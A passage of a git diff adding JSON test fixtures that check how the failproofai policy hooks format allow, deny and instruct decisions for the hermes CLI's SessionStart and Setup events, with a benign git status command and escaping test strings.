"policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5f3c0fdb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e23e2e00 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ec4fc52b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6fe8ed96 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4b8733c7 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c8215c9a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cd3f2a14 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c6779e44 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f96ab9b6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3a809e10 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f8b4254b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e8386d0a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5641ec7d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6a320111 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d2c19ba9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ed535f1a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..eedf6e11 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c80fa24c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..533aeb6b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + 